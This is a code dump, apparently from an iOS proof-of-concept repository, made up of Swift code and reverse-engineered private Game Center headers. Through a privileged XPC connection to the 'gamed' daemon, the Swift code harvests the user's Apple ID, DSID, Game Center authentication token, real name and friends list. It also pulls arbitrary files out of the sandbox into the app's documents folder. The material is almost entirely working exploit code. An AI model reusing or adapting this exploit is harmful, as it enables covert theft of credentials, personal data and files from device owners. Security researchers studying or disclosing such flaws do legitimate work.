interface.setInterface(.init(with: GKGameServicePrivate.self), for: privateServicesSelector, argumentIndex: 3, ofReply: true) |
||||
interface.setInterface(.init(with: GKGameStatServicePrivate.self), for: privateServicesSelector, argumentIndex: 4, ofReply: true) |
||||
interface.setInterface(.init(with: GKChallengeServicePrivate.self), for: privateServicesSelector, argumentIndex: 5, ofReply: true) |
||||
interface.setInterface(.init(with: GKMultiplayerServicePrivate.self), for: privateServicesSelector, argumentIndex: 6, ofReply: true) |
||||
interface.setInterface(.init(with: GKTurnBasedServicePrivate.self), for: privateServicesSelector, argumentIndex: 7, ofReply: true) |
||||
interface.setInterface(.init(with: GKUtilityServicePrivate.self), for: privateServicesSelector, argumentIndex: 8, ofReply: true) |
||||
interface.setInterface(.init(with: GKBulletinServicePrivate.self), for: privateServicesSelector, argumentIndex: 9, ofReply: true) |
||||
interface.setInterface(.init(with: GKAnalyticsServicePrivate.self), for: privateServicesSelector, argumentIndex: 10, ofReply: true) |
||||
interface.setInterface(.init(with: GKGameSessionServicePrivate.self), for: privateServicesSelector, argumentIndex: 11, ofReply: true) |
||||
interface.setInterface(.init(with: GKTournamentServicePrivate.self), for: privateServicesSelector, argumentIndex: 12, ofReply: true) |
||||
|
||||
let clientInterface = NSXPCInterface(with: GKClientProtocol.self) |
||||
clientInterface.setClasses(NSSet(array: [NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), NSMutableArray.self, NSArray.self ]) as! Set<AnyHashable>, for: NSSelectorFromString("authenticatedPlayersDidChange:reply:"), argumentIndex: 0, ofReply: false) |
||||
|
||||
client = GamedClient() |
||||
connection = Dynamic.NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)! |
||||
connection.remoteObjectInterface = interface |
||||
connection.exportedInterface = clientInterface |
||||
connection.exportedObject = client |
||||
connection.resume() |
||||
let proxy = connection.remoteObjectProxyWithErrorHandler({ print($0) }) as! GKDaemonProtocol |
||||
|
||||
let pid = ProcessInfo.processInfo.processIdentifier |
||||
proxy.getServicesForPID(pid, localPlayer: nil, reply: { |
||||
(accountService, profileService, friendService, _, _, _, _, _, utilityService, _, _, _, _) in |
||||
|
||||
proxy.getPrivateServices(forPID: pid, localPlayer: nil, reply: { |
||||
(_, _, _, _, _, _, _, _, _, _, _, _, _) in |
||||
|
||||
accountService!.authenticatePlayerWithExistingCredentials(handler: { response, error in |
||||
if let response = response, let credential = response.credential { |
||||
handler("Apple ID", credential.accountName) |
||||
if let dsid = credential.dsid { |
||||
handler("DSID", dsid) |
||||
} |
||||
handler("altDSID", credential.altDSID) |
||||
handler("Game Center Authentication Token", credential.authenticationToken) |
||||
let player = credential.playerInternal! |
||||
handler("Player ID", player.playerID) |
||||
if player.gamePlayerID != "Unavailable Player Identification" { |
||||
handler("Game Player ID", player.gamePlayerID) |
||||
} |
||||
if player.teamPlayerID != "Unavailable Player Identification" { |
||||
handler("Team Player ID", player.teamPlayerID) |
||||
} |
||||
|
||||
profileService!.getProfilesForPlayerIDs([player.playerID], handler: { profiles, error in |
||||
if let error = error { |
||||
print(error) |
||||
} |
||||
if let profile = profiles?.first as? NSObject { |
||||
if let alias = player.value(forKey: "alias") as? String { |
||||
handler("Nickname", alias) |
||||
} |
||||
if let firstName = profile.value(forKey: "firstName") as? String { |
||||
handler("First Name", firstName) |
||||
} |
||||
if let lastName = profile.value(forKey: "lastName") as? String { |
||||
handler("Last Name", lastName) |
||||
} |
||||
} |
||||
friendService!.getFriendsForPlayer(player, handler: { friends, error in |
||||
if let error = error { |
||||
print(error) |
||||
} |
||||
if let friends = friends { |
||||
for friend in friends { |
||||
if let friend = friend as? NSObject { |
||||
var components = [String]() |
||||
if let compositeName = friend.value(forKey: "compositeName") as? String { |
||||
components.append(compositeName) |
||||
} |
||||
if let alias = friend.value(forKey: "alias") as? String { |
||||
components.append(alias) |
||||
} |
||||
if let playerID = friend.value(forKey: "playerID") as? String { |
||||
components.append(playerID) |
||||
} |
||||
if !components.isEmpty { |
||||
handler("Friend", components.joined(separator: " | ")) |
||||
} |
||||
} |
||||
} |
||||
} |
||||
}) |
||||
}) |
||||
} else if let error = error { |
||||
print(error) |
||||
} |
||||
|
||||
var i = files.count |
||||
for file in files { |
||||
utilityService!.requestImageData(for: URL(fileURLWithPath: file, isDirectory: false), subdirectory: nil, fileName: nil, handler: { data in |
||||
if let data = data { |
||||
let path = documentsPath + "/" + file.components(separatedBy: "/").last! |
||||
do { |
||||
try data.write(to: URL(fileURLWithPath: path)) |
||||
} catch { |
||||
print(error) |
||||
} |
||||
} |
||||
i -= 1 |
||||
if i == 0 { |
||||
fileExtractionCompletion() |
||||
} |
||||
}) |
||||
} |
||||
}) |
||||
}) |
||||
}) |
||||
} |
||||
|
||||
@objc class GamedClient: NSObject, GKClientProtocol { |
||||
func receivedChallengeSelected(_ arg1: GKChallengeInternal!) { |
||||
|
||||
} |
||||
|
||||
func resetNetworkActivity() { |
||||
|
||||
} |
||||
|
||||
func scoreSelected(_ arg1: GKScoreInternal!) { |
||||
|
||||
} |
||||
|
||||
func acceptMultiplayerGameInvite() { |
||||
|
||||
} |
||||
|
||||
func session(_ arg1: GKGameSession!, addedPlayer arg2: GKCloudPlayer!) { |
||||
|
||||
} |
||||
|
||||
func acceptInvite(withNotification arg1: Any!) { |
||||
|
||||
} |
||||
|
||||
func setLogBits(_ arg1: Int32) { |
||||
|
||||
} |
||||
|
||||
func cancelGameInvite(_ arg1: String!) { |
||||
|
||||
} |
||||
|
||||
func requestSandboxExtension(_ arg1: ((String?) -> Void)!) { |
||||
|
||||
} |
||||
|
||||
func beginNetworkActivity() { |
||||
|
||||
} |
||||
|
||||
func completedChallengeSelected(_ arg1: GKChallengeInternal!) { |
||||
|
||||
} |
||||
|
||||
func localPlayerAcceptedCustomTournamentInvite() { |
||||
|
||||
} |
||||
|
||||
func refreshContents(forDataType arg1: UInt32, userInfo arg2: Any!) { |
||||
|
||||
} |
||||
|
||||
func session(_ arg1: GKGameSession!, player arg2: GKCloudPlayer!, didChangeConnectionState arg3: Int64) { |
||||
|
||||
} |
||||
|
||||
func challengeReceived(_ arg1: GKChallengeInternal!) { |
||||
|
||||
} |
||||
|
||||
func session(_ arg1: GKGameSession!, removedPlayer arg2: GKCloudPlayer!) { |
||||
|
||||
} |
||||
|
||||
func didDisconnectFromParticipant(withID arg1: String!) { |
||||
|
||||
} |
||||
|
||||
func didConnectToParticipant(withID arg1: String!) { |
||||
|
||||
} |
||||
|
||||
func declineInvite(withNotification arg1: Any!) { |
||||
|
||||
} |
||||
|
||||
func responded(toNearbyInvite arg1: Any!) { |
||||
|
||||
} |
||||
|
||||
func setBadgeCount(_ arg1: UInt64, forType arg2: UInt64) { |
||||
|
||||
} |
||||
|
||||
func setPreferencesValues(_ arg1: Any!) { |
||||
|
||||
} |
||||
// |
||||
// func friendRequestSelected(_ arg1: GKFriendRequestInternal!) { |
||||
// |
||||
// } |
||||
|
||||
func relayPushNotification(_ arg1: Any!) { |
||||
|
||||
} |
||||
|
||||
func setCurrentGame(_ arg1: GKGameInternal!, serverEnvironment arg2: Int64, reply arg3: (() -> Void)!) { |
||||
arg3() |
||||
} |
||||
|
||||
func endNetworkActivity() { |
||||
|
||||
} |
||||
|
||||
func challengeCompleted(_ arg1: GKChallengeInternal!) { |
||||
|
||||
} |
||||
|
||||
func achievementSelected(_ arg1: GKAchievementInternal!) { |
||||
|
||||
} |
||||
|
||||
func fetchTurnBasedData() { |
||||
|
||||
} |
||||
|
||||
func authenticatedPlayersDidChange(_ arg1: Any!, reply arg2: (() -> Void)!) { |
||||
arg2() |
||||
} |
||||
|
||||
func completedOptimisticAuthentication(with arg1: GKAuthenticateResponse!, error arg2: Error!) { |
||||
|
||||
} |
||||
|
||||
func session(_ arg1: GKGameSession!, didReceiveMessage arg2: String!, with arg3: Data!, from arg4: GKCloudPlayer!) { |
||||
|
||||
} |
||||
|
||||
func didReceive(_ arg1: Data!, reliably arg2: Bool, forRecipients arg3: Any!, fromSender arg4: String!) { |
||||
|
||||
} |
||||
|
||||
func session(_ arg1: GKGameSession!, player arg2: GKCloudPlayer!, didSave arg3: Data!) { |
||||
|
||||
} |
||||
|
||||
func session(_ arg1: GKGameSession!, didReceive arg2: Data!, from arg3: GKCloudPlayer!) { |
||||
|
||||
} |
||||
} |
@ -0,0 +1,72 @@
|
||||
//
|
||||
// Use this file to import your target's public headers that you would like to expose to Swift.
|
||||
//
|
||||
#import <UIKit/UIKit.h> |
||||
#import "GKDaemonProtocol.h" |
||||
#import "GKAuthenticateResponse.h" |
||||
#import "GKPlayerCredential.h" |
||||
#import "GKPlayerInternal.h" |
||||
#import "GKInternalRepresentation.h" |
||||
#import "GKClientProtocol.h" |
||||
#import "GKGameInternal.h" |
||||
#import "GKStoreItemInternal.h" |
||||
#import "GKGameDescriptor.h" |
||||
#import "GKAccountService.h" |
||||
#import "GKAccountServicePrivate.h" |
||||
#import "GKAnalyticsService.h" |
||||
#import "GKAnalyticsServicePrivate.h" |
||||
#import "GKBulletinService.h" |
||||
#import "GKBulletinServicePrivate.h" |
||||
#import "GKChallengeService.h" |
||||
#import "GKChallengeServicePrivate.h" |
||||
#import "CKXPCShareDaemon.h" |
||||
#import "GKFriendService.h" |
||||
#import "GKFriendServicePrivate.h" |
||||
#import "GKGameService.h" |
||||
#import "GKGameServicePrivate.h" |
||||
#import "GKGameSessionService.h" |
||||
#import "GKGameSessionServicePrivate.h" |
||||
#import "GKGameStatService.h" |
||||
#import "GKGameStatServicePrivate.h" |
||||
#import "GKMultiplayerService.h" |
||||
#import "GKMultiplayerServicePrivate.h" |
||||
#import "GKProfileService.h" |
||||
#import "GKProfileServicePrivate.h" |
||||
#import "GKTournamentService.h" |
||||
#import "GKTournamentServicePrivate.h" |
||||
#import "GKTurnBasedService.h" |
||||
#import "GKTurnBasedServicePrivate.h" |
||||
#import "GKUtilityService.h" |
||||
#import "GKUtilityServicePrivate.h" |
||||
#import "GKAchievementInternal.h" |
||||
#import "GKChallengeInternal.h" |
||||
#import "GKConcernInternal.h" |
||||
#import "GKCustomTournamentRequestInternal.h" |
||||
#import "GKInviteInternal.h" |
||||
#import "GKLeaderboardEntryInternal.h" |
||||
#import "GKLeaderboardInternal.h" |
||||
#import "GKLeaderboardScoreRequest.h" |
||||
#import "GKLeaderboardSummaryInternal.h" |
||||
#import "GKMatchRequestInternal.h" |
||||
#import "GKMatchResponse.h" |
||||
#import "GKScoreInternal.h" |
||||
#import "GKTournamentDefinitionInternal.h" |
||||
#import "GKTournamentInternal.h" |
||||
#import "GKTournamentParticipantHistoricalDataInternal.h" |
||||
#import "GKTournamentParticipantInternal.h" |
||||
#import "GKTournamentParticipantRequestInternal.h" |
||||
#import "GKTurnBasedMatchInternal.h" |
||||
#import "GKDispatchGroup.h" |
||||
#import "GKRecurrenceRule.h" |
||||
#import "GKActivity.h" |
||||
#import "GKThreadsafeDictionary.h" |
||||
#import "GKFriendRequestInternal.h" |
||||
#import "GKFamiliarPlayerInternal.h" |
||||
#import "GKDaemonInterface.h" |
||||
#import "GKDaemonProxy.h" |
||||
#import "GKServiceInterface.h" |
||||
#import "GKServiceProxy.h" |
||||
#import "NSXPCConnection.h" |
||||
#import "GKClientInterface.h" |
||||
#import "GKLocalPlayerInternal.h" |
||||
#import "GKClientProtocolInterface.h" |
@ -0,0 +1,12 @@
|
||||
|
||||
@protocol CKXPCShareDaemon <NSObject> |
||||
|
||||
@required |
||||
|
||||
- (void)handleCloudKitShareMetadata:(CKShareMetadata *)arg1 completionHandler:(void (^)(NSError *))arg2; |
||||
|
||||
@optional |
||||
|
||||
- (oneway void)willAcceptShareAtURL:(NSURL *)arg1; |
||||
|
||||
@end |
@ -0,0 +1,22 @@
|
||||
|
||||
@class GKAuthenticateResponse; |
||||
|
||||
|
||||
@protocol GKAccountService <NSObject> |
||||
|
||||
@required |
||||
|
||||
- (oneway void)authenticatePlayerWithExistingCredentialsWithHandler:(void (^)(GKAuthenticateResponse *, NSError *))arg1; |
||||
- (oneway void)authenticationWasCancelled; |
||||
- (oneway void)fetchItemsForIdentityVerificationSignature:(void (^)(NSDictionary *, NSError *))arg1; |
||||
- (oneway void)generateIdentityVerificationSignatureWithCompletionHandler:(void (^)(NSDictionary *, NSError *))arg1; |
||||
- (oneway void)getLastPersonalizationVersionDisplayedForSignedInPlayerWithHandler:(void (^)(NSString *, NSError *))arg1; |
||||
- (oneway void)getLastPrivacyNoticeVersionDisplayedForSignedInPlayerWithHandler:(void (^)(unsigned long long, NSError *))arg1; |
||||
- (oneway void)getLastProfilePrivacyVersionDisplayedForSignedInPlayerWithHandler:(void (^)(NSString *, NSError *))arg1; |
||||
- (oneway void)resetCredentialsWithHandler:(void (^)(NSError *))arg1; |
||||
- (oneway void)setLastPersonalizationVersionDisplayedForSignedInPlayer:(NSString *)arg1; |
||||
- (oneway void)setLastPrivacyNoticeVersionDisplayedForSignedInPlayer:(unsigned long long)arg1; |
||||
- (oneway void)setLastProfilePrivacyVersionDisplayedForSignedInPlayer:(NSString *)arg1; |
||||
- (oneway void)signOutPlayerWithHandler:(void (^)(NSError *))arg1; |
||||
|
||||
@end |
@ -0,0 +1,21 @@
|
||||
|
||||
#import "GKAccountService.h" |
||||
|
||||
|
||||
@protocol GKAccountServicePrivate <GKAccountService> |
||||
|
||||
@required |
||||
|
||||
- (oneway void)accountCreated:(NSString *)arg1 playerID:(NSString *)arg2 authenticationToken:(NSString *)arg3 alias:(NSString *)arg4 altDSID:(NSString *)arg5 finished:(bool)arg6 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg7; |
||||
- (oneway void)accountCreated:(NSString *)arg1 playerID:(NSString *)arg2 authenticationToken:(NSString *)arg3 alias:(NSString *)arg4 finished:(bool)arg5 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg6; |
||||
- (oneway void)accountEdited:(NSString *)arg1 alias:(NSString *)arg2 firstName:(NSString *)arg3 lastName:(NSString *)arg4 handler:(void (^)())arg5; |
||||
- (oneway void)authenticatePlayerWithUsername:(NSString *)arg1 password:(NSString *)arg2 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg3; |
||||
- (oneway void)authenticatePlayerWithUsername:(NSString *)arg1 password:(NSString *)arg2 rawPassword:(NSString *)arg3 altDSID:(NSString *)arg4 usingFastPath:(bool)arg5 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg6; |
||||
- (oneway void)authenticationCancelled; |
||||
- (oneway void)getAccountAuthTokenWithHandler:(void (^)(NSString *, NSError *))arg1; |
||||
- (oneway void)isICloudAvailableWithHandler:(void (^)(bool, NSError *))arg1; |
||||
- (oneway void)setLoginStatus:(unsigned long long)arg1 handler:(void (^)(NSError *))arg2; |
||||
- (oneway void)setupAccountForParameters:(NSDictionary *)arg1 handler:(void (^)(NSError *))arg2; |
||||
- (oneway void)validateAccountWithUsername:(NSString *)arg1 password:(NSString *)arg2 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg3; |
||||
|
||||
@end |
@ -0,0 +1,77 @@
|
||||
|
||||
@interface GKAchievementInternal : GKInternalRepresentation { |
||||
NSString * _achievedDescription; |
||||
union {
|
||||
struct {
|
||||
unsigned int _maximumPoints : 16;
|
||||
unsigned int _hidden : 1;
|
||||
unsigned int _replayable : 1;
|
||||
unsigned int _reserved : 14;
|
||||
} ;
|
||||
unsigned int _value;
|
||||
} _attributes; |
||||
NSString * _groupIdentifier; |
||||
NSDictionary * _icons; |
||||
NSString * _identifier; |
||||
NSDate * _lastReportedDate; |
||||
double _percentComplete; |
||||
GKPlayerInternal * _player; |
||||
NSString * _title; |
||||
NSString * _unachievedDescription; |
||||
} |
||||
|
||||
@property (nonatomic, retain) NSString *achievedDescription; |
||||
@property (nonatomic) unsigned int attributes; |
||||
@property (getter=isCompleted, nonatomic, readonly) bool completed; |
||||
@property (nonatomic, retain) NSString *groupIdentifier; |
||||
@property (getter=isHidden, nonatomic) bool hidden; |
||||
@property (nonatomic, retain) NSDictionary |